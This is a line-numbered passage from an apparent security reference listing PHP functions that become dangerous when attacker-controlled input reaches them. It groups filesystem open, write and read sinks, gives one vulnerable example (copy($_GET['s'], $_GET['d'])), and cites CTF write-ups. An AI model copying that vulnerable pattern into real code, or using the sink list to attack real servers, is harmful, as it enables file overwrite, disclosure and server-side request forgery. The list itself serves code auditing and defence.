    722 Filesystem calls become dangerous when attacker-controlled data reaches a path or URL argument. For example, with `allow_url_fopen=On`, a URL can be accepted as a source path, so `copy($_GET['s'], $_GET['d'])` may fetch remote content and write it to an attacker-selected accessible destination. Similar source/sink combinations can provide file disclosure, overwrite, server-side request forgery, or a pivot to another host.
    723 
    724 **Open filesystem handler**
    725 
    726 ```php
    727 fopen
    728 tmpfile
    729 bzopen
    730 gzopen
    731 SplFileObject->__construct
    732 ```
    733 
    734 **Write to filesystem (partially in combination with reading)**
    735 
    736 ```php
    737 chgrp
    738 chmod
    739 chown
    740 copy
    741 file_put_contents
    742 lchgrp
    743 lchown
    744 link
    745 mkdir
    746 move_uploaded_file
    747 rename
    748 rmdir
    749 symlink
    750 tempnam
    751 touch
    752 unlink
    753 imagepng     // 2nd parameter is a path.
    754 imagewbmp    // 2nd parameter is a path.
    755 image2wbmp   // 2nd parameter is a path.
    756 imagejpeg    // 2nd parameter is a path.
    757 imagexbm     // 2nd parameter is a path.
    758 imagegif     // 2nd parameter is a path.
    759 imagegd      // 2nd parameter is a path.
    760 imagegd2     // 2nd parameter is a path.
    761 iptcembed
    762 ftp_get
    763 ftp_nb_get
    764 scandir
    765 ```
    766 
    767 **Read from filesystem**
    768 
    769 ```php
    770 file_exists
    771 -- file_get_contents
    772 file
    773 fileatime
    774 filectime
    775 filegroup
    776 fileinode
    777 filemtime
    778 fileowner
    779 fileperms
    780 filesize
    781 filetype
    782 glob
    783 is_dir
    784 is_executable
    785 is_file
    786 is_link
    787 is_readable
    788 is_uploaded_file
    789 is_writable
    790 is_writeable
    791 linkinfo
    792 lstat
    793 parse_ini_file
    794 pathinfo
    795 readfile
    796 readlink
    797 realpath
    798 stat
    799 gzfile
    800 readgzfile
    801 getimagesize
    802 imagecreatefromgif
    803 imagecreatefromjpeg
    804 imagecreatefrompng
    805 imagecreatefromwbmp
    806 imagecreatefromxbm
    807 imagecreatefromxpm
    808 ftp_put
    809 ftp_nb_put
    810 exif_read_data
    811 read_exif_data
    812 exif_thumbnail
    813 exif_imagetype
    814 hash_file
    815 hash_hmac_file
    816 hash_update_file
    817 md5_file
    818 sha1_file
    819 -- highlight_file
    820 -- show_source
    821 php_strip_whitespace
    822 get_meta_tags
    823 ```
    824 
    825 ## References
    826 
    827 - [1] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy)
    828 - [2] [Eval Me - BSides Delhi CTF 2019 writeup](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)
    829 - [3] [How to bypass disable_functions and open_basedir](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
    830 - [4] [Exploitable PHP functions - Stack Overflow](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
    831 - [5] [PHP RFC: Foreign Function Interface](https://wiki.php.net/rfc/ffi)